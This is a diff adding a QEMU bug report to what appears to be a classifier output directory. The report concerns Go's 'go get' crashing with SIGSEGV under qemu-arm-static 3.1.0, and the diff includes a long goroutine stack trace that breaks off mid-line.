it can help your development (and it can help me back) +Thanks, +simon + +Looks like Serge's fix has been included here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=efc8243d00ab4cf4fa05a9b +... so let's close this bug now. + diff --git a/results/classifier/deepseek-1/output/processes./1838946 b/results/classifier/deepseek-1/output/processes./1838946 new file mode 100644 index 00000000..35fef9c8 --- /dev/null +++ b/results/classifier/deepseek-1/output/processes./1838946 @@ -0,0 +1,622 @@ + +qemu 3.10 golang crash + +Encountered below crashes in qemu 3.10 arm +Also have raised the same in golang groups. But seems like in ARM32 hardware, the below commands works fine, only in qemu if crashes. +https://groups.google.com/forum/?utm_medium=email&utm_source=footer#!topic/golang-nuts/1txPOGa4aGc + +Need some pointers to narrow down + +Please see log below. + +$ qemu-arm-static --version +qemu-arm version 3.1.0 (qemu-3.1.0-6.fc30) +Copyright (c) 2003-2018 Fabrice Bellard and the QEMU Project developers + + + + +arheneus@bbdee4f6f57d:/sonic/src/telemetry/test$ /usr/local/go/bin/go get -v github.com/Azure/sonic-telemetry/dialout/dialout_client_cli +github.com/openconfig/ygot (download) +github.com/kylelemons/godebug (download) +github.com/openconfig/goyang (download) +SIGSEGV: segmentation violation +PC=0x4512c m=12 sigcode=1 + +goroutine 15 [syscall]: +syscall.Syscall6(0x118, 0x1, 0x11c3, 0xf513b0, 0x1000004, 0x0, 0x0, 0x1c63c, 0x15e54, 0xe280a0) + /usr/local/go/src/syscall/asm_linux_arm.s:45 +0x8 fp=0xf51380 sp=0xf5137c pc=0x88298 +os.(*Process).blockUntilWaitable(0xf80300, 0xf80300, 0x0, 0x0) + /usr/local/go/src/os/wait_waitid.go:31 +0x64 fp=0xf51438 sp=0xf51380 pc=0xa94a0 +os.(*Process).wait(0xf80300, 0x13, 0xe6e1d0, 0xeba010) + /usr/local/go/src/os/exec_unix.go:22 +0x2c fp=0xf51470 sp=0xf51438 pc=0xa2d58 +os.(*Process).Wait(0xf80300, 0x4d5f58, 0x4d5f5c, 0x4d5f54) + /usr/local/go/src/os/exec.go:125 +0x1c fp=0xf51484 sp=0xf51470 pc=0xa2494 +os/exec.(*Cmd).Wait(0xe14000, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:465 +0x40 fp=0xf514bc sp=0xf51484 pc=0xf8620 +os/exec.(*Cmd).Run(0xe14000, 0xd5c720, 0xf30000) + /usr/local/go/src/os/exec/exec.go:309 +0x44 fp=0xf514cc sp=0xf514bc pc=0xf7e1c +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x497ee2, 0x7, 0x2c, 0x116f8e0) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 fp=0xf515bc sp=0xf514cc pc=0x3549bc +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177d90, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:223 +0xb8c fp=0xf51978 sp=0xf515bc pc=0x3594fc +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177d90, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c fp=0xf51f44 sp=0xf51978 pc=0x35e374 +cmd/go/internal/work.(*Builder).Do.func1(0x1177d90) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 fp=0xf51f84 sp=0xf51f44 pc=0x38287c +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 fp=0xf51fdc sp=0xf51f84 pc=0x382b24 +runtime.goexit() + /usr/local/go/src/runtime/asm_arm.s:867 +0x4 fp=0xf51fdc sp=0xf51fdc pc=0x67f44 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 1 [semacquire]: +sync.runtime_Semacquire(0xdf0078) + /usr/local/go/src/runtime/sema.go:56 +0x2c +sync.(*WaitGroup).Wait(0xdf0070) + /usr/local/go/src/sync/waitgroup.go:130 +0x84 +cmd/go/internal/work.(*Builder).Do(0xd5cf60, 0x1177290) + /usr/local/go/src/cmd/go/internal/work/exec.go:174 +0x304 +cmd/go/internal/work.InstallPackages(0xc82078, 0x1, 0x1, 0xc0e938, 0x1, 0x2) + /usr/local/go/src/cmd/go/internal/work/build.go:506 +0xa88 +cmd/go/internal/get.runGet(0x810d78, 0xc82078, 0x1, 0x1) + /usr/local/go/src/cmd/go/internal/get/get.go:196 +0x1b0 +main.main() + /usr/local/go/src/cmd/go/main.go:219 +0x93c + +goroutine 19 [syscall]: +os/signal.signal_recv(0x0) + /usr/local/go/src/runtime/sigqueue.go:139 +0x130 +os/signal.loop() + /usr/local/go/src/os/signal/signal_unix.go:23 +0x14 +created by os/signal.init.0 + /usr/local/go/src/os/signal/signal_unix.go:29 +0x30 + +goroutine 13 [syscall]: +syscall.Syscall6(0x118, 0x1, 0x11ec, 0x10153b0, 0x1000004, 0x0, 0x0, 0x1c63c, 0x15e54, 0xe001e0) + /usr/local/go/src/syscall/asm_linux_arm.s:45 +0x8 +os.(*Process).blockUntilWaitable(0xe62840, 0xe62840, 0x0, 0x0) + /usr/local/go/src/os/wait_waitid.go:31 +0x64 +os.(*Process).wait(0xe62840, 0x1, 0xc0e360, 0xe00160) + /usr/local/go/src/os/exec_unix.go:22 +0x2c +os.(*Process).Wait(0xe62840, 0x4d5f58, 0x4d5f5c, 0x4d5f54) + /usr/local/go/src/os/exec.go:125 +0x1c +os/exec.(*Cmd).Wait(0xf8e0b0, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:465 +0x40 +os/exec.(*Cmd).Run(0xf8e0b0, 0xca8060, 0xe6cd00) + /usr/local/go/src/os/exec/exec.go:309 +0x44 +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x49631b, 0x3, 0x11, 0x1015890) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0xfb6210, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:225 +0x11d4 +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0xfb6210, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0xfb6210) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 14 [syscall]: +syscall.Syscall6(0x118, 0x1, 0x11ed, 0xe393b0, 0x1000004, 0x0, 0x0, 0x1c63c, 0x15e54, 0xd280f0) + /usr/local/go/src/syscall/asm_linux_arm.s:45 +0x8 +os.(*Process).blockUntilWaitable(0x115c4e0, 0x115c4e0, 0x0, 0x0) + /usr/local/go/src/os/wait_waitid.go:31 +0x64 +os.(*Process).wait(0x115c4e0, 0x1, 0xe78160, 0xd28070) + /usr/local/go/src/os/exec_unix.go:22 +0x2c +os.(*Process).Wait(0x115c4e0, 0x4d5f58, 0x4d5f5c, 0x4d5f54) + /usr/local/go/src/os/exec.go:125 +0x1c +os/exec.(*Cmd).Wait(0x10b8000, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:465 +0x40 +os/exec.(*Cmd).Run(0x10b8000, 0xf3e060, 0xf0c000) + /usr/local/go/src/os/exec/exec.go:309 +0x44 +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x49631b, 0x3, 0x11, 0xe39890) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177b80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:225 +0x11d4 +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177b80, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0x1177b80) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 16 [runnable]: +os/exec.(*Cmd).writerDescriptor(0x10b80b0, 0x54bd38, 0xf3e120, 0xf3e0c0, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:257 +0x484 +os/exec.(*Cmd).stderr(0x10b80b0, 0x1112090, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:254 +0xac +os/exec.(*Cmd).Start(0x10b80b0, 0x496701, 0xf3e120) + /usr/local/go/src/os/exec/exec.go:372 +0xa8 +os/exec.(*Cmd).Run(0x10b80b0, 0xf3e120, 0xf0c300) + /usr/local/go/src/os/exec/exec.go:306 +0x1c +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x49631b, 0x3, 0x11, 0xf49890) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177ce0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:225 +0x11d4 +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177ce0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0x1177ce0) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 82 [runnable]: +syscall.Syscall(0x3, 0xb, 0x11c2000, 0x8000, 0x0, 0x0, 0x0) + /usr/local/go/src/syscall/asm_linux_arm.s:14 +0x8 +syscall.read(0xb, 0x11c2000, 0x8000, 0x8000, 0x10ea501, 0x0, 0x0) + /usr/local/go/src/syscall/zsyscall_linux_arm.go:732 +0x40 +syscall.Read(0xb, 0x11c2000, 0x8000, 0x8000, 0xdedf9577, 0xe9841d9d, 0xdbb1d24e) + /usr/local/go/src/syscall/syscall_unix.go:172 +0x34 +internal/poll.(*FD).Read(0xd9c140, 0x11c2000, 0x8000, 0x8000, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:165 +0xf0 +os.(*File).read(0xcdc0f0, 0x11c2000, 0x8000, 0x8000, 0x11c3700, 0x1d, 0x6940) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xcdc0f0, 0x11c2000, 0x8000, 0x8000, 0x171d, 0x0, 0x0) + /usr/local/go/src/os/file.go:108 +0x4c +io.copyBuffer(0xe77be000, 0xe88380, 0x54c3f8, 0xcdc0f0, 0x11c2000, 0x8000, 0x8000, 0x443d58, 0x47a900, 0x0, ...) + /usr/local/go/src/io/io.go:402 +0xd8 +io.Copy(0xe77be000, 0xe88380, 0x54c3f8, 0xcdc0f0, 0xe88380, 0x0, 0x40, 0xb) + /usr/local/go/src/io/io.go:364 +0x48 +cmd/go/internal/cache.FileHash(0xe628a0, 0x25, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...) + /usr/local/go/src/cmd/go/internal/cache/hash.go:149 +0x240 +cmd/go/internal/work.(*Builder).fileHash(0xd5cf60, 0xe628a0, 0x25, 0xe628a0, 0x25) + /usr/local/go/src/cmd/go/internal/work/buildid.go:396 +0x24 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177760, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:292 +0x5ec +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177760, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0x1177760) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 83 [syscall]: +syscall.Syscall6(0x118, 0x1, 0x11d1, 0xf4d3b0, 0x1000004, 0x0, 0x0, 0x1c63c, 0x15e54, 0xe280b0) + /usr/local/go/src/syscall/asm_linux_arm.s:45 +0x8 +os.(*Process).blockUntilWaitable(0xf80330, 0xf80330, 0x0, 0x0) + /usr/local/go/src/os/wait_waitid.go:31 +0x64 +os.(*Process).wait(0xf80330, 0x1, 0xc7e1b0, 0xe28010) + /usr/local/go/src/os/exec_unix.go:22 +0x2c +os.(*Process).Wait(0xf80330, 0x4d5f58, 0x4d5f5c, 0x4d5f54) + /usr/local/go/src/os/exec.go:125 +0x1c +os/exec.(*Cmd).Wait(0x11760b0, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:465 +0x40 +os/exec.(*Cmd).Run(0x11760b0, 0xfc8060, 0xefa800) + /usr/local/go/src/os/exec/exec.go:309 +0x44 +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x497ee2, 0x7, 0x2c, 0xf278e0) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177e40, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:223 +0xb8c +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177e40, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0x1177e40) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 84 [syscall]: +syscall.Syscall6(0x118, 0x1, 0x11cf, 0xf453b0, 0x1000004, 0x0, 0x0, 0x1c63c, 0x15e54, 0xeba040) + /usr/local/go/src/syscall/asm_linux_arm.s:45 +0x8 +os.(*Process).blockUntilWaitable(0xf74180, 0xf74180, 0x0, 0x0) + /usr/local/go/src/os/wait_waitid.go:31 +0x64 +os.(*Process).wait(0xf74180, 0x1, 0x1112070, 0x100e010) + /usr/local/go/src/os/exec_unix.go:22 +0x2c +os.(*Process).Wait(0xf74180, 0x4d5f58, 0x4d5f5c, 0x4d5f54) + /usr/local/go/src/os/exec.go:125 +0x1c +os/exec.(*Cmd).Wait(0xfe8000, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:465 +0x40 +os/exec.(*Cmd).Run(0xfe8000, 0xe10060, 0xf18000) + /usr/local/go/src/os/exec/exec.go:309 +0x44 +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x497ee2, 0x7, 0x2c, 0x10878e0) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177a20, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:223 +0xb8c +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177a20, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0x1177a20) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 85 [syscall]: +syscall.Syscall6(0x118, 0x1, 0x11d5, 0xe373b0, 0x1000004, 0x0, 0x0, 0x1c63c, 0x15e54, 0xeba050) + /usr/local/go/src/syscall/asm_linux_arm.s:45 +0x8 +os.(*Process).blockUntilWaitable(0xf741b0, 0xf741b0, 0x0, 0x0) + /usr/local/go/src/os/wait_waitid.go:31 +0x64 +os.(*Process).wait(0xf741b0, 0x50, 0xc0e290, 0xe00090) + /usr/local/go/src/os/exec_unix.go:22 +0x2c +os.(*Process).Wait(0xf741b0, 0x4d5f58, 0x4d5f5c, 0x4d5f54) + /usr/local/go/src/os/exec.go:125 +0x1c +os/exec.(*Cmd).Wait(0xf8e000, 0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:465 +0x40 +os/exec.(*Cmd).Run(0xf8e000, 0xcb5e00, 0xe6ca00) + /usr/local/go/src/os/exec/exec.go:309 +0x44 +cmd/go/internal/work.(*Builder).toolID(0xd5cf60, 0x497ee2, 0x7, 0x2c, 0xf2b8e0) + /usr/local/go/src/cmd/go/internal/work/buildid.go:193 +0x2e0 +cmd/go/internal/work.(*Builder).buildActionID(0xd5cf60, 0x1177ef0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:223 +0xb8c +cmd/go/internal/work.(*Builder).build(0xd5cf60, 0x1177ef0, 0x0, 0x0) + /usr/local/go/src/cmd/go/internal/work/exec.go:373 +0x3d3c +cmd/go/internal/work.(*Builder).Do.func1(0x1177ef0) + /usr/local/go/src/cmd/go/internal/work/exec.go:107 +0x58 +cmd/go/internal/work.(*Builder).Do.func2(0xdf0070, 0xd5cf60, 0x10427a0) + /usr/local/go/src/cmd/go/internal/work/exec.go:165 +0x84 +created by cmd/go/internal/work.(*Builder).Do + /usr/local/go/src/cmd/go/internal/work/exec.go:152 +0x2e4 + +goroutine 31 [IO wait]: +internal/poll.runtime_pollWait(0xecac29c0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xd7c3d4, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xd7c3d4, 0x1040601, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xd7c3c0, 0x1040600, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xe78168, 0x1040600, 0x200, 0x200, 0x1040600, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xe78168, 0x1040600, 0x200, 0x200, 0xe9d2f000, 0xff667d78, 0x3) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xf3e060, 0x54c3f8, 0xe78168, 0xe9d2f000, 0xf3e060, 0x1b001, 0xcf62b0) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xf3e060, 0x54c3f8, 0xe78168, 0x0, 0x0, 0x0, 0x0, 0xcf60c0, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xf3e060, 0x54c3f8, 0xe78168, 0x19, 0xfa910, 0xcf6280, 0xf977dc) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0xcf6280, 0xf977dc) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0x10b8000, 0xd280c0) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 30 [IO wait]: +internal/poll.runtime_pollWait(0xecac2dc0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xd7c354, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xd7c354, 0xddc001, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xd7c340, 0xddc000, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xe78148, 0xddc000, 0x200, 0x200, 0xddc000, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xe78148, 0xddc000, 0x200, 0x200, 0xe9d2f000, 0xff667d78, 0x5) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xf3e000, 0x54c3f8, 0xe78148, 0xe9d2f000, 0xf3e000, 0x1b001, 0xcf62b0) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xf3e000, 0x54c3f8, 0xe78148, 0x0, 0x0, 0x0, 0x0, 0xcf6140, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xf3e000, 0x54c3f8, 0xe78148, 0x0, 0xfa910, 0xcf6280, 0xf95fdc) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0xcf6280, 0xf95fdc) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0x10b8000, 0xd280a0) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 37 [IO wait]: +internal/poll.runtime_pollWait(0xecac2f40, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xdc8514, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xdc8514, 0x1040801, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xdc8500, 0x1040800, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xc0e338, 0x1040800, 0x200, 0x200, 0x1040800, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xc0e338, 0x1040800, 0x200, 0x200, 0xe9d2f000, 0xff669250, 0x3) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xca8000, 0x54c3f8, 0xc0e338, 0xe9d2f000, 0xca8000, 0x16601, 0xc36f54) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xca8000, 0x54c3f8, 0xc0e338, 0x0, 0x0, 0x0, 0x0, 0xd9c0c0, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xca8000, 0x54c3f8, 0xc0e338, 0xd9c100, 0xfa910, 0xd9c100, 0xc36fdc) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0xd9c100, 0xc36fdc) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xf8e0b0, 0xe00190) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 114 [IO wait]: +internal/poll.runtime_pollWait(0xecac23c0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xce8694, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xce8694, 0x108e001, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xce8680, 0x108e000, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xe6e1b8, 0x108e000, 0x200, 0x200, 0x108e000, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xe6e1b8, 0x108e000, 0x200, 0x200, 0xe9d2f000, 0x4e9d0, 0xc37f18) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0x1024000, 0x54c3f8, 0xe6e1b8, 0xe9d2f000, 0x1024000, 0x1177a01, 0xd5cf98) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0x1024000, 0x54c3f8, 0xe6e1b8, 0x0, 0x0, 0x0, 0x2, 0x0, 0x1, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0x1024000, 0x54c3f8, 0xe6e1b8, 0x1, 0x0, 0x0, 0x0) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xe14000, 0x1042840) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 115 [IO wait]: +internal/poll.runtime_pollWait(0xecac22c0, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xce8714, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xce8714, 0x108e601, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xce8700, 0x108e600, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xe6e1d8, 0x108e600, 0x200, 0x200, 0x108e600, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xe6e1d8, 0x108e600, 0x200, 0x200, 0xe9d2f000, 0x0, 0x0) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xd5c720, 0x54c3f8, 0xe6e1d8, 0xe9d2f000, 0xd5c720, 0x1, 0x0) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xd5c720, 0x54c3f8, 0xe6e1d8, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xd5c720, 0x54c3f8, 0xe6e1d8, 0x0, 0x0, 0x0, 0x0) + /usr/local/go/src/io/io.go:364 +0x48 +os/exec.(*Cmd).writerDescriptor.func1(0x0, 0x0) + /usr/local/go/src/os/exec/exec.go:279 +0x38 +os/exec.(*Cmd).Start.func1(0xe14000, 0x1042860) + /usr/local/go/src/os/exec/exec.go:400 +0x1c +created by os/exec.(*Cmd).Start + /usr/local/go/src/os/exec/exec.go:399 +0x41c + +goroutine 116 [IO wait]: +internal/poll.runtime_pollWait(0xecac2c40, 0x72, 0x9cc90) + /usr/local/go/src/runtime/netpoll.go:173 +0x44 +internal/poll.(*pollDesc).wait(0xc72214, 0x72, 0xffffff01, 0x54cc68, 0x7e0240) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:85 +0x7c +internal/poll.(*pollDesc).waitRead(0xc72214, 0xea4201, 0x200, 0x200) + /usr/local/go/src/internal/poll/fd_poll_runtime.go:90 +0x2c +internal/poll.(*FD).Read(0xc72200, 0xea4200, 0x200, 0x200, 0x0, 0x0, 0x0) + /usr/local/go/src/internal/poll/fd_unix.go:169 +0x14c +os.(*File).read(0xc7e190, 0xea4200, 0x200, 0x200, 0xea4200, 0x0, 0x0) + /usr/local/go/src/os/file_unix.go:249 +0x3c +os.(*File).Read(0xc7e190, 0xea4200, 0x200, 0x200, 0xe9d2f000, 0x3e206820, 0x3331203e) + /usr/local/go/src/os/file.go:108 +0x4c +bytes.(*Buffer).ReadFrom(0xfc8000, 0x54c3f8, 0xc7e190, 0xe9d2f000, 0xfc8000, 0x61686d01, 0x32336873) + /usr/local/go/src/bytes/buffer.go:206 +0xb0 +io.copyBuffer(0x54bd38, 0xfc8000, 0x54c3f8, 0xc7e190, 0x0, 0x0, 0x0, 0x34202b20, 0x7361682a, 0x79656b68, ...) + /usr/local/go/src/io/io.go:388 +0x300 +io.Copy(0x54bd38, 0xfc8000, 0x54c3f8, 0xc7e190, 0x70283233, 0x68090a29, 0x72203d20, 0x5f6c746f) + 